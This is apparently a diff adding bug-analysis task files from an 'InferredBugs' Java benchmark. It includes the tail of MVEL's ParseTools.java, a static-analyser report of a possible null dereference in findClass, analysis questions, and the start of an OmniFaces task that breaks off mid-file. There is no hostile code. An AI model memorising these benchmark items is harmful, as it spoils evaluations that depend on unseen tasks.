+                        if ((escapeStr[pos] > ('0' - 1) && escapeStr[pos] < ('9' + 1)) ||
+                                (escapeStr[pos] > ('A' - 1) && escapeStr[pos] < ('F' + 1))) {
+                        }
+                        else {
+                            throw new CompileException("illegal unicode escape sequence");
+                        }
+                    }
+
+                    escapeStr[s - 1] = (char) Integer.decode("0x" + new String(escapeStr, s + 1, 4)).intValue();
+                    escapeStr[s] = 0;
+                    escapeStr[s + 1] = 0;
+                    escapeStr[s + 2] = 0;
+                    escapeStr[s + 3] = 0;
+                    escapeStr[s + 4] = 0;
+
+                    return 5;
+                }
+
+
+            default:
+                //octal
+                s = pos;
+                while (escapeStr[pos] >= '0' && escapeStr[pos] < '8') {
+                    if (pos != s && escapeStr[s] > '3') {
+                        escapeStr[s - 1] = (char) Integer.decode("0" + new String(escapeStr, s, pos - s + 1)).intValue();
+                        escapeStr[s] = 0;
+                        escapeStr[s + 1] = 0;
+                        return 2;
+                    }
+                    else if ((pos - s) == 2) {
+                        escapeStr[s - 1] = (char) Integer.decode("0" + new String(escapeStr, s, pos - s + 1)).intValue();
+                        escapeStr[s] = 0;
+                        escapeStr[s + 1] = 0;
+                        escapeStr[s + 2] = 0;
+                        return 3;
+                    }
+
+                    if (pos + 1 == escapeStr.length || (escapeStr[pos] < '0' || escapeStr[pos] > '7')) {
+                        escapeStr[s - 1] = (char) Integer.decode("0" + new String(escapeStr, s, pos - s + 1)).intValue();
+                        escapeStr[s] = 0;
+                        return 1;
+                    }
+
+                    pos++;
+                }
+                throw new CompileException("illegal escape sequence: " + escapeStr[pos]);
+        }
+    }
+
+    public static char[] createShortFormOperativeAssignment(String name, char[] statement, int operation) {
+        if (operation == -1) {
+            return statement;
+        }
+
+        char[] stmt;
+        char op = 0;
+        switch (operation) {
+            case Operator.ADD:
+                op = '+';
+                break;
+            case Operator.STR_APPEND:
+                op = '#';
+                break;
+            case Operator.SUB:
+                op = '-';
+                break;
+            case Operator.MULT:
+                op = '*';
+                break;
+            case Operator.MOD:
+                op = '%';
+                break;
+            case Operator.DIV:
+                op = '/';
+                break;
+            case Operator.BW_AND:
+                op = '&';
+                break;
+            case Operator.BW_OR:
+                op = '|';
+                break;
+            case Operator.BW_SHIFT_LEFT:
+                op = '\u00AB';
+                break;
+            case Operator.BW_SHIFT_RIGHT:
+                op = '\u00BB';
+                break;
+            case Operator.BW_USHIFT_RIGHT:
+                op = '\u00AC';
+                break;
+
+        }
+
+        arraycopy(name.toCharArray(), 0, (stmt = new char[name.length() + statement.length + 1]), 0, name.length());
+        stmt[name.length()] = op;
+        arraycopy(statement, 0, stmt, name.length() + 1, statement.length);
+
+        return stmt;
+    }
+
+
+    public static ClassImportResolverFactory findClassImportResolverFactory(VariableResolverFactory factory) {
+        VariableResolverFactory v = factory;
+        while (v != null) {
+            if (v instanceof ClassImportResolverFactory) {
+                return (ClassImportResolverFactory) v;
+            }
+            v = v.getNextFactory();
+        }
+
+        if (factory == null) {
+            throw new OptimizationFailure("unable to import classes.  no variable resolver factory available.");
+        }
+        else {
+            return insertFactory(factory, new ClassImportResolverFactory());
+        }
+    }
+
+    public static Class findClass(VariableResolverFactory factory, String name, ParserContext ctx) throws ClassNotFoundException {
+        try {
+            if (LITERALS.containsKey(name)) {
+                return (Class) LITERALS.get(name);
+            }
+            else if (factory != null && factory.isResolveable(name)) {
+                return (Class) factory.getVariableResolver(name).getValue();
+            }
+            else if (ctx != null && ctx.hasImport(name)) {
+                return getCurrentThreadParserContext().getImport(name);
+            }
+            else {
+                return createClass(name);
+            }
+        }
+        catch (ClassNotFoundException e) {
+            throw e;
+        }
+        catch (Exception e) {
+            throw new CompileException("class not found: " + name, e);
+        }
+    }
+
+    public static char[] subset(char[] array, int start, int length) {
+        if (length < 0) return new char[0];
+        char[] newArray = new char[length];
+
+        for (int i = 0; i < newArray.length; i++) {
+            newArray[i] = array[i + start];
+        }
+
+        return newArray;
+    }
+
+    public static char[] subset(char[] array, int start) {
+        char[] newArray = new char[array.length - start];
+
+        for (int i = 0; i < newArray.length; i++) {
+            newArray[i] = array[i + start];
+        }
+
+        return newArray;
+    }
+
+    private static final HashMap<Class, Integer> typeResolveMap = new HashMap<Class, Integer>();
+
+    static {
+        Map<Class, Integer> t = typeResolveMap;
+        t.put(BigDecimal.class, DataTypes.BIG_DECIMAL);
+        t.put(BigInteger.class, DataTypes.BIG_INTEGER);
+        t.put(String.class, DataTypes.STRING);
+
+        t.put(int.class, DataTypes.INTEGER);
+        t.put(Integer.class, DataTypes.W_INTEGER);
+
+        t.put(short.class, DataTypes.SHORT);
+        t.put(Short.class, DataTypes.W_SHORT);
+
+        t.put(float.class, DataTypes.FLOAT);
+        t.put(Float.class, DataTypes.W_FLOAT);
+
+        t.put(double.class, DataTypes.DOUBLE);
+        t.put(Double.class, DataTypes.W_DOUBLE);
+
+        t.put(long.class, DataTypes.LONG);
+        t.put(Long.class, DataTypes.W_LONG);
+
+        t.put(boolean.class, DataTypes.BOOLEAN);
+        t.put(Boolean.class, DataTypes.W_BOOLEAN);
+
+        t.put(byte.class, DataTypes.BYTE);
+        t.put(Byte.class, DataTypes.W_BYTE);
+
+        t.put(char.class, DataTypes.CHAR);
+        t.put(Character.class, DataTypes.W_CHAR);
+
+        t.put(BlankLiteral.class, DataTypes.EMPTY);
+    }
+
+    public static int resolveType(Class cls) {
+        Integer i = typeResolveMap.get(cls);
+        if (i == null) return DataTypes.OBJECT;
+        else {
+            return i;
+        }
+    }
+
+    public static int __resolveType(Class cls) {
+
+        if (Integer.class == cls)
+            return DataTypes.W_INTEGER;
+        if (Double.class == cls)
+            return DataTypes.W_DOUBLE;
+        if (Boolean.class == cls)
+            return DataTypes.W_BOOLEAN;
+        if (String.class == cls)
+            return DataTypes.STRING;
+        if (Long.class == cls)
+            return DataTypes.W_LONG;
+
+        if (Short.class == cls)
+            return DataTypes.W_SHORT;
+        if (Float.class == cls)
+            return DataTypes.W_FLOAT;
+
+        if (Byte.class == cls)
+            return DataTypes.W_BYTE;
+        if (Character.class == cls)
+            return DataTypes.W_CHAR;
+
+        if (BigDecimal.class == cls)
+            return DataTypes.BIG_DECIMAL;
+
+        if (BigInteger.class == cls)
+            return DataTypes.BIG_INTEGER;
+
+        if (int.class == cls)
+            return DataTypes.INTEGER;
+        if (short.class == cls)
+            return DataTypes.SHORT;
+        if (float.class == cls)
+            return DataTypes.FLOAT;
+        if (double.class == cls)
+            return DataTypes.DOUBLE;
+        if (long.class == cls)
+            return DataTypes.LONG;
+        if (boolean.class == cls)
+            return DataTypes.BOOLEAN;
+        if (byte.class == cls)
+            return DataTypes.BYTE;
+        if (char.class == cls)
+            return DataTypes.CHAR;
+
+        if (BlankLiteral.class == cls)
+            return DataTypes.EMPTY;
+
+//        if (Unit.class.isAssignableFrom(cls))
+//            return DataTypes.UNIT;
+
+        return DataTypes.OBJECT;
+    }
+
+    public static boolean isNumericallyCoercible(Class target, Class parm) {
+        Class boxedTarget = target.isPrimitive() ? boxPrimitive(target) : target;
+
+        if (boxedTarget != null && Number.class.isAssignableFrom(target)) {
+            if ((boxedTarget = parm.isPrimitive() ? boxPrimitive(parm) : parm) != null) {
+                return Number.class.isAssignableFrom(boxedTarget);
+            }
+        }
+        return false;
+    }
+
+
+    public static Object narrowType(final BigDecimal result) {
+        if (result.scale() > 0) {
+            return result.doubleValue();
+        }
+        else if (result.longValue() > Integer.MAX_VALUE) {
+            return result.longValue();
+        }
+        else {
+            return result.intValue();
+        }
+    }
+
+    public static Method determineActualTargetMethod(Method method) {
+        String name = method.getName();
+
+        /**
+         * Follow our way up the class heirarchy until we find the physical target method.
+         */
+        for (Class cls : method.getDeclaringClass().getInterfaces()) {
+            for (Method meth : cls.getMethods()) {
+                if (meth.getParameterTypes().length == 0 && name.equals(meth.getName())) {
+                    return meth;
+                }
+            }
+        }
+
+        return null;
+    }
+
+
+    /**
+     * This is an important aspect of the core parser tools.  This method is used throughout the core parser
+     * and sub-lexical parsers to capture a balanced capture between opening and terminating tokens such as:
+     * <em>( [ { ' " </em>
+     * <br>
+     * <br>
+     * For example: ((foo + bar + (bar - foo)) * 20;<br>
+     * <br>
+     * <p/>
+     * If a balanced capture is performed from position 2, we get "(foo + bar + (bar - foo))" back.<br>
+     * If a balanced capture is performed from position 15, we get "(bar - foo)" back.<br>
+     * Etc.
+     *
+     * @param chars -
+     * @param start -
+     * @param type  -
+     * @return -
+     */
+    public static int balancedCapture(char[] chars, int start, char type) {
+        int depth = 1;
+        char term = type;
+        switch (type) {
+            case '[':
+                term = ']';
+                break;
+            case '{':
+                term = '}';
+                break;
+            case '(':
+                term = ')';
+                break;
+        }
+
+        if (type == term) {
+            for (start++; start < chars.length; start++) {
+                if (chars[start] == type) {
+                    return start;
+                }
+            }
+        }
+        else {
+            int lines = 0;
+            for (start++; start < chars.length; start++) {
+
+                if (start < chars.length && chars[start] == '/') {
+                    if (start + 1 == chars.length) return start;
+                    if (chars[start + 1] == '/') {
+                        start++;
+                        while (start < chars.length && chars[start] != '\n') start++;
+                    }
+                    else if (chars[start + 1] == '*') {
+                        start += 2;
+                        while (start < chars.length) {
+                            switch (chars[start]) {
+                                case '*':
+                                    if (start + 1 < chars.length && chars[start + 1] == '/') {
+                                        break;
+                                    }
+                                case '\r':
+                                case '\n':
+
+                                    break;
+                            }
+                            start++;
+                        }
+                    }
+                }
+                if (start == chars.length) return start;
+                if (chars[start] == '\'' || chars[start] == '"') {
+                    start = captureStringLiteral(chars[start], chars, start, chars.length);
+                }
+                else if (chars[start] == type) {
+                    depth++;
+                }
+                else if (chars[start] == term && --depth == 0) {
+                    return start;
+                }
+            }
+        }
+
+        switch (type) {
+            case '[':
+                throw new CompileException("unbalanced braces [ ... ]", chars, start);
+            case '{':
+                throw new CompileException("unbalanced braces { ... }", chars, start);
+            case '(':
+                throw new CompileException("unbalanced braces ( ... )", chars, start);
+            default:
+                throw new CompileException("unterminated string literal", chars, start);
+        }
+    }
+
+    public static int balancedCaptureWithLineAccounting(char[] chars, int start, char type, ParserContext pCtx) {
+        int depth = 1;
+        char term = type;
+        switch (type) {
+            case '[':
+                term = ']';
+                break;
+            case '{':
+                term = '}';
+                break;
+            case '(':
+                term = ')';
+                break;
+        }
+
+        if (type == term) {
+            for (start++; start < chars.length; start++) {
+                if (chars[start] == type) {
+                    return start;
+                }
+            }
+        }
+        else {
+            int lines = 0;
+            for (start++; start < chars.length; start++) {
+                if (isWhitespace(chars[start])) {
+                    switch (chars[start]) {
+                        case '\r':
+                            continue;
+                        case '\n':
+                            pCtx.setLineOffset((short) start);
+                            lines++;
+                    }
+                }
+                else if (start < chars.length && chars[start] == '/') {
+                    if (start + 1 == chars.length) return start;
+                    if (chars[start + 1] == '/') {
+                        start++;
+                        while (start < chars.length && chars[start] != '\n') start++;
+                    }
+                    else if (chars[start + 1] == '*') {
+                        start += 2;
+                        while (start < chars.length) {
+                            switch (chars[start]) {
+                                case '*':
+                                    if (start + 1 < chars.length && chars[start + 1] == '/') {
+                                        break;
+                                    }
+                                case '\r':
+                                case '\n':
+                                    pCtx.setLineOffset((short) start);
+                                    lines++;
+                                    break;
+                            }
+                            start++;
+                        }
+                    }
+                }
+                if (start == chars.length) return start;
+                if (chars[start] == '\'' || chars[start] == '"') {
+                    start = captureStringLiteral(chars[start], chars, start, chars.length);
+                }
+                else if (chars[start] == type) {
+                    depth++;
+                }
+                else if (chars[start] == term && --depth == 0) {
+                    pCtx.incrementLineCount(lines);
+                    return start;
+                }
+            }
+        }
+
+        switch (type) {
+            case '[':
+                throw new CompileException("unbalanced braces [ ... ]", chars, start);
+            case '{':
+                throw new CompileException("unbalanced braces { ... }", chars, start);
+            case '(':
+                throw new CompileException("unbalanced braces ( ... )", chars, start);
+            default:
+                throw new CompileException("unterminated string literal", chars, start);
+        }
+    }
+
+    public static String handleStringEscapes(char[] input) {
+        int escapes = 0;
+        for (int i = 0; i < input.length; i++) {
+            if (input[i] == '\\') {
+                escapes += handleEscapeSequence(input, ++i);
+            }
+        }
+
+        if (escapes == 0) return new String(input);
+
+        char[] processedEscapeString = new char[input.length - escapes];
+        int cursor = 0;
+        for (char aName : input) {
+            if (aName != 0) {
+                processedEscapeString[cursor++] = aName;
+            }
+        }
+
+        return new String(processedEscapeString);
+    }
+
+    public static int captureStringLiteral(final char type, final char[] expr, int cursor, int length) {
+        while (++cursor < length && expr[cursor] != type) {
+            if (expr[cursor] == '\\') cursor++;
+        }
+
+        if (cursor >= length || expr[cursor] != type) {
+            throw new CompileException("unterminated literal", expr, cursor);
+        }
+
+        return cursor;
+    }
+
+
+    public static WithStatementPair[] parseWithExpressions(String nestParm, char[] block) {
+        List<WithStatementPair> parms = new ArrayList<WithStatementPair>();
+
+        int start = 0;
+        String parm = "";
+        int end = -1;
+        int oper = -1;
+
+        for (int i = 0; i < block.length; i++) {
+            switch (block[i]) {
+                case '{':
+                case '[':
+                case '(':
+                    i = balancedCapture(block, i, block[i]);
+                    continue;
+
+                case '*':
+                    if (i < block.length && block[i + 1] == '=') {
+                        oper = Operator.MULT;
+                    }
+                    continue;
+
+                case '/':
+                    if (i < block.length && block[i + 1] == '/') {
+                        end = i;
+                        while (i < block.length && block[i] != '\n') i++;
+                        if (parm == null) start = i;
+                    }
+                    else if (i < block.length && block[i + 1] == '*') {
+                        end = i;
+
+                        while (i < block.length) {
+                            switch (block[i++]) {
+                                case '*':
+                                    if (i < block.length) {
+                                        if (block[i] == '/') break;
+                                    }
+                            }
+                        }
+
+                        if (parm == null) start = i;
+                    }
+                    else if (i < block.length && block[i + 1] == '=') {
+                        oper = Operator.DIV;
+                    }
+                    continue;
+
+                case '-':
+                    if (i < block.length && block[i + 1] == '=') {
+                        oper = Operator.SUB;
+                    }
+                    continue;
+
+                case '+':
+                    if (i < block.length && block[i + 1] == '=') {
+                        oper = Operator.ADD;
+                    }
+                    continue;
+
+                case '=':
+                    parm = createStringTrimmed(block, start, i - start - (oper != -1 ? 1 : 0));
+                    start = ++i;
+                    continue;
+
+                case ',':
+                    if (end == -1) end = i;
+
+                    if (parm == null) {
+                        parms.add(
+                                new WithStatementPair(null, new StringAppender(nestParm).append('.')
+                                        .append(subset(block, start, end - start)).toString())
+                        );
+
+                        oper = -1;
+                        start = ++i;
+                    }
+                    else {
+                        parms.add(new WithStatementPair(parm, new String(createShortFormOperativeAssignment(nestParm + "." + parm,
+                                subset(block, start, end - start), oper))));
+
+                        parm = null;
+                        oper = -1;
+                        start = ++i;
+                    }
+
+                    end = -1;
+                    break;
+            }
+        }
+
+        if (start != (end = block.length)) {
+            if (parm == null) {
+                parms.add(new WithStatementPair(null, new StringAppender(nestParm).append('.')
+                        .append(subset(block, start, end - start)).toString()));
+
+            }
+            else {
+                parms.add(new WithStatementPair(
+                        parm,
+                        new String(createShortFormOperativeAssignment(nestParm + "." + parm, subset(block, start, end - start), oper))
+                ));
+            }
+        }
+
+        WithStatementPair[] ret;
+        parms.toArray(ret = new WithStatementPair[parms.size()]);
+        return ret;
+    }
+
+    public static Object handleNumericConversion(final char[] val) {
+        if (val.length != 1 && val[0] == '0' && val[1] != '.') {
+            if (!isDigit(val[val.length - 1])) {
+                switch (val[val.length - 1]) {
+                    case 'L':
+                    case 'l':
+                        return Long.decode(new String(val, 0, val.length - 1));
+                    case 'I':
+                        return BigInteger.valueOf(Long.decode(new String(val, 0, val.length - 1)));
+                    case 'D':
+                        return BigDecimal.valueOf(Long.decode(new String(val, 0, val.length - 1)));
+                }
+            }
+
+            return Integer.decode(new String(val));
+        }
+        else if (!isDigit(val[val.length - 1])) {
+            switch (val[val.length - 1]) {
+                case 'l':
+                case 'L':
+                    return java.lang.Long.parseLong(new String(val, 0, val.length - 1));
+                case '.':
+                case 'd':
+                case 'D':
+                    return parseDouble(new String(val, 0, val.length - 1));
+                case 'f':
+                case 'F':
+                    return java.lang.Float.parseFloat(new String(val, 0, val.length - 1));
+                case 'I':
+                    return new BigInteger(new String(val, 0, val.length - 1));
+                case 'B':
+                    return new BigDecimal(new String(val, 0, val.length - 1));
+            }
+            throw new CompileException("unrecognized numeric literal");
+        }
+        else {
+            switch (numericTest(val)) {
+                case DataTypes.FLOAT:
+                    return java.lang.Float.parseFloat(new String(val));
+                case DataTypes.INTEGER:
+                    return java.lang.Integer.parseInt(new String(val));
+                case DataTypes.LONG:
+                    return java.lang.Long.parseLong(new String(val));
+                case DataTypes.DOUBLE:
+                    return parseDouble(new String(val));
+                case DataTypes.BIG_DECIMAL:
+                    return new BigDecimal(val, MathContext.DECIMAL128);
+                default:
+                    return new String(val);
+            }
+        }
+    }
+
+    public static boolean isNumeric(Object val) {
+        if (val == null) return false;
+
+        Class clz;
+        if (val instanceof Class) {
+            clz = (Class) val;
+        }
+        else {
+            clz = val.getClass();
+        }
+
+        return clz == int.class || clz == long.class || clz == short.class || clz == double.class ||
+                clz == float.class || Number.class.isAssignableFrom(clz);
+    }
+
+    public static int numericTest(final char[] val) {
+        boolean fp = false;
+
+        int len = val.length;
+        char c;
+        int i = 0;
+
+        if (len > 1) {
+            if (val[0] == '-') i++;
+            else if (val[0] == '~') {
+                i++;
+                if (val[1] == '-') i++;
+            }
+        }
+
+        for (; i < len; i++) {
+            if (!isDigit(c = val[i])) {
+                switch (c) {
+                    case '.':
+                        fp = true;
+                        break;
+                    case 'e':
+                    case 'E':
+                        fp = true;
+                        if (i++ < len && val[i] == '-') i++;
+                        break;
+
+                    default:
+                        return -1;
+                }
+
+
+            }
+        }
+
+        if (len > 0) {
+            if (fp) {
+                return DataTypes.DOUBLE;
+            }
+            else if (len > 9) {
+                return DataTypes.LONG;
+            }
+            else {
+                return DataTypes.INTEGER;
+            }
+        }
+        return -1;
+    }
+
+    public static boolean isNumber(Object val) {
+        if (val == null) return false;
+        if (val instanceof String) return isNumber((String) val);
+        if (val instanceof char[]) return isNumber((char[]) val);
+        return val instanceof Integer || val instanceof BigDecimal || val instanceof BigInteger
+                || val instanceof Float || val instanceof Double || val instanceof Long
+                || val instanceof Short || val instanceof Character;
+    }
+
+    public static boolean isNumber(final String val) {
+        int len = val.length();
+        char c;
+        boolean f = true;
+        int i = 0;
+        if (len > 1) {
+            if (val.charAt(0) == '-') i++;
+            else if (val.charAt(0) == '~') {
+                i++;
+                if (val.charAt(1) == '-') i++;
+            }
+        }
+        for (; i < len; i++) {
+            if (!isDigit(c = val.charAt(i))) {
+                if (c == '.' && f) {
+                    f = false;
+                }
+                else {
+                    return false;
+                }
+            }
+        }
+
+        return len > 0;
+    }
+
+    public static boolean isNumber(char[] val) {
+        int len = val.length;
+        char c;
+        boolean f = true;
+        int i = 0;
+        if (len > 1) {
+            switch (val[0]) {
+                case '-':
+                    if (val[1] == '-') i++;
+                case '~':
+                    i++;
+            }
+        }
+        for (; i < len; i++) {
+            if (!isDigit(c = val[i])) {
+                if (c == '.' && f) {
+                    f = false;
+                }
+                else if (len != 1 && i == len - 1) {
+                    switch (c) {
+                        case 'l':
+                        case 'L':
+                        case 'f':
+                        case 'F':
+                        case 'd':
+                        case 'D':
+                        case 'I':
+                        case 'B':
+                            return true;
+                        case '.':
+                            throw new CompileException("invalid number literal");
+                    }
+                    return false;
+                }
+                else if (i == 1 && c == 'x' && val[0] == '0') {
+                    for (i++; i < len; i++) {
+                        if (!isDigit(c = val[i])) {
+                            if ((c < 'A' || c > 'F') && (c < 'a' || c > 'f')) {
+
+                                if (i == len - 1) {
+                                    switch (c) {
+                                        case 'l':
+                                        case 'L':
+                                        case 'I':
+                                        case 'B':
+                                            return true;
+                                    }
+                                }
+
+                                return false;
+                            }
+                        }
+                    }
+                    return len - 2 > 0;
+
+                }
+                else if (i != 0 && (i + 1) < len && (c == 'E' || c == 'e')) {
+                    if (val[++i] == '-' || val[i] == '+') i++;
+                }
+                else {
+                    if (i != 0) throw new CompileException("invalid number literal");
+                    return false;
+                }
+            }
+        }
+
+        return len > 0;
+    }
+
+    public static int find(char[] c, char find) {
+        for (int i = 0; i < c.length; i++) if (c[i] == find) return i;
+        return -1;
+    }
+
+    public static int findLast(char[] c, char find) {
+        for (int i = c.length - 1; i != -1; i--) if (c[i] == find) return i;
+        return -1;
+    }
+
+    public static String createStringTrimmed(char[] s) {
+        int start = 0, end = s.length;
+        while (start != end && s[start] < '\u0020' + 1) start++;
+        while (end != start && s[end - 1] < '\u0020' + 1) end--;
+        return new String(s, start, end - start);
+    }
+
+    public static String createStringTrimmed(char[] s, int start, int length) {
+        if ((length = start + length) > s.length) return new String(s);
+        while (start != length && s[start] < '\u0020' + 1) {
+            start++;
+        }
+        while (length != start && s[length - 1] < '\u0020' + 1) {
+            length--;
+        }
+        return new String(s, start, length - start);
+    }
+
+    public static boolean endsWith(char[] c, char[] test) {
+        if (test.length > c.length) return false;
+
+        int tD = test.length - 1;
+        int cD = c.length - 1;
+        while (tD != -1) {
+            if (c[cD--] != test[tD--]) return false;
+        }
+
+        return true;
+    }
+
+
+    public static boolean isIdentifierPart(final int c) {
+        return ((c > 96 && c < 123)
+                || (c > 64 && c < 91) || (c > 47 && c < 58) || (c == '_') || (c == '$')
+                || Character.isJavaIdentifierPart(c));
+    }
+
+    public static boolean isDigit(final int c) {
+        return c > ('0' - 1) && c < ('9' + 1);
+    }
+
+    public static float similarity(String s1, String s2) {
+        if (s1 == null || s2 == null)
+            return s1 == null && s2 == null ? 1f : 0f;
+
+        char[] c1 = s1.toCharArray();
+        char[] c2 = s2.toCharArray();
+
+        char[] comp;
+        char[] against;
+
+        float same = 0;
+        float baselength;
+
+        int cur1 = 0;
+
+        if (c1.length > c2.length) {
+            baselength = c1.length;
+            comp = c1;
+            against = c2;
+        }
+        else {
+            baselength = c2.length;
+            comp = c2;
+            against = c1;
+        }
+
+
+        while (cur1 < comp.length && cur1 < against.length) {
+            if (comp[cur1] == against[cur1]) {
+                same++;
+            }
+
+            cur1++;
+        }
+
+        return same / baselength;
+    }
+
+    public static int findAbsoluteLast(char[] array) {
+        int depth = 0;
+        for (int i = array.length - 1; i >= 0; i--) {
+            if (array[i] == ']') {
+                depth++;
+            }
+            if (array[i] == '[') {
+                depth--;
+            }
+
+            if (depth == 0 && array[i] == '.' || array[i] == '[') return i;
+        }
+        return -1;
+    }
+
+    public static Class getBaseComponentType(Class cls) {
+        while (cls.isArray()) {
+            cls = cls.getComponentType();
+        }
+        return cls;
+    }
+
+    public static Class getSubComponentType(Class cls) {
+        if (cls.isArray()) {
+            cls = cls.getComponentType();
+        }
+        return cls;
+    }
+
+    public static boolean isJunct(char c) {
+        switch (c) {
+            case '[':
+            case '(':
+                return true;
+            default:
+                return isWhitespace(c);
+        }
+    }
+
+    public static final class WithStatementPair implements java.io.Serializable {
+        private String parm;
+        private String value;
+
+        public WithStatementPair(String parm, String value) {
+            this.parm = parm;
+            this.value = value;
+        }
+
+        public String getParm() {
+            return parm;
+        }
+
+        public void setParm(String parm) {
+            this.parm = parm;
+        }
+
+        public String getValue() {
+            return value;
+        }
+
+        public void setValue(String value) {
+            this.value = value;
+        }
+    }
+
+    public static void checkNameSafety(String name) {
+        if (isReservedWord(name)) {
+            throw new CompileException("illegal use of reserved word: " + name);
+        }
+        else if (isDigit(name.charAt(0))) {
+            throw new CompileException("not an identifier");
+        }
+    }
+
+    public static FileWriter getDebugFileWriter() throws IOException {
+        return new FileWriter(new File(getDebuggingOutputFileName()), true);
+    }
+
+    public static boolean isPrimitiveWrapper(Class clazz) {
+        return clazz == Integer.class || clazz == Boolean.class || clazz == Long.class || clazz == Double.class
+                || clazz == Float.class || clazz == Short.class || clazz == Byte.class || clazz == Character.class;
+    }
+
+    public static Serializable subCompileExpression(char[] expression) {
+        return optimizeTree(new ExpressionCompiler(expression)._compile());
+    }
+
+    public static Serializable subCompileExpression(char[] expression, ParserContext ctx) {
+        ExpressionCompiler c = new ExpressionCompiler(expression);
+        c.setPCtx(ctx);
+        return optimizeTree(c._compile());
+    }
+
+    public static Serializable subCompileExpression(String expression, ParserContext ctx) {
+        ExpressionCompiler c = new ExpressionCompiler(expression);
+        c.setPCtx(ctx);
+
+        return optimizeTree(c._compile());
+    }
+
+    public static Serializable optimizeTree(final CompiledExpression compiled) {
+        /**
+         * If there is only one token, and it's an identifier, we can optimize this as an accessor expression.
+         */
+        if (compiled.getParserContext().isAllowBootstrapBypass() && compiled.getInstructions().size() == 1) {
+            ASTNode tk = compiled.getInstructions().firstNode();
+
+            if (tk.isLiteral() && !tk.isThisVal()) {
+                return new ExecutableLiteral(tk.getLiteralValue());
+            }
+            return tk.canSerializeAccessor() ? new ExecutableAccessorSafe(tk, false, compiled.getKnownEgressType()) :
+                    new ExecutableAccessor(tk, compiled.getKnownEgressType());
+        }
+
+        return compiled;
+    }
+
+    public static boolean isWhitespace(char c) {
+        return c < '\u0020' + 1;
+    }
+
+    public static String repeatChar(char c, int times) {
+        char[] n = new char[times];
+        for (int i = 0; i < times; i++) {
+            n[i] = c;
+        }
+        return new String(n);
+    }
+
+    public static char[] loadFromFile(File file) throws IOException {
+        return loadFromFile(file, null);
+    }
+
+    public static char[] loadFromFile(File file, String encoding) throws IOException {
+        if (!file.exists())
+            throw new CompileException("cannot find file: " + file.getName());
+
+        FileInputStream inStream = null;
+        ReadableByteChannel fc = null;
+        try {
+            fc = (inStream = new FileInputStream(file)).getChannel();
+            ByteBuffer buf = allocateDirect(10);
+
+            StringAppender sb = new StringAppender((int) file.length(), encoding);
+
+            int read = 0;
+            while (read >= 0) {
+                buf.rewind();
+                read = fc.read(buf);
+                buf.rewind();
+
+                for (; read > 0; read--) {
+                    sb.append((byte) buf.get());
+                }
+            }
+
+            //noinspection unchecked
+            return sb.toChars();
+        }
+        catch (FileNotFoundException e) {
+            // this can't be thrown, we check for this explicitly.
+        }
+        finally {
+            if (inStream != null) inStream.close();
+            if (fc != null) fc.close();
+        }
+
+        return null;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getCurrentThreadParserContext()` could be null and is dereferenced at line 793.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Class ParseTools.findClass(VariableResolverFactory,String,ParserContext)
+
+### Procedure Id:
+org.mvel2.util.ParseTools.findClass(org.mvel2.integration.VariableResolverFactory,java.lang.String,o.1dd9bd8fe0cd6ffd94c3ed17ece559bb
+
+### File:
+src/main/java/org/mvel2/util/ParseTools.java
+
+### Key:
+ParseTools.java|findClass|NULL_DEREFERENCE
+
+### Node Key:
+89940d97b858c9767a0f65c7a2f08fd5
+
+### Hash:
+cb9451804038116e381c8c2f418581a5
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4849/instruction.md b/inferredbugs-4849/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b7c654dfa44b5547b5ab5a4092b0666386e276c4
--- /dev/null
+++ b/inferredbugs-4849/instruction.md
@@ -0,0 +1,216 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** omnifaces
+**Bug ID:** 21
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2016 OmniFaces
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on
+ * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations under the License.
+ */
+package org.omnifaces.eventlistener;
+
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import javax.faces.component.EditableValueHolder;
+import javax.faces.component.UICommand;
+import javax.faces.component.UIInput;
+import javax.faces.event.AbortProcessingException;
+import javax.faces.event.ComponentSystemEvent;
+import javax.faces.event.PostValidateEvent;
+import javax.faces.event.PreValidateEvent;
+import javax.faces.event.SystemEvent;
+import javax.faces.event.SystemEventListener;
+import javax.faces.validator.BeanValidator;
+import javax.faces.validator.Validator;
+
+/**
+ * Overrides {@link BeanValidator#setValidationGroups(String)} for all components in the current view. This allows to
+ * temporarily use different validationGroups or disabling validation if a specific {@link UICommand} or {@link UIInput}
+ * has invoked the form submit.
+ *
+ * @author Adrian Gygax
+ * @author Bauke Scholtz
+ * @since 1.3
+ */
+public class BeanValidationEventListener implements SystemEventListener {
+
+	// Constants ------------------------------------------------------------------------------------------------------
+
+	private static final String ATTRIBUTE_ORIGINAL_VALIDATION_GROUPS =
+		"BeanValidationEventListener.originalValidationGroups";
+	private static final Logger LOGGER =
+		Logger.getLogger(BeanValidationEventListener.class.getName());
+	private static final String LOG_VALIDATION_GROUPS_OVERRIDDEN =
+		"Validation groups for component with id '%s' overriden from '%s' to '%s'";
+
+	// Variables ------------------------------------------------------------------------------------------------------
+
+	private String validationGroups;
+	private boolean disabled;
+
+	// Constructors ---------------------------------------------------------------------------------------------------
+
+	/**
+	 * Construct an instance of bean validation event listener based on the given validation groups and disabled state.
+	 * @param validationGroups The validation groups.
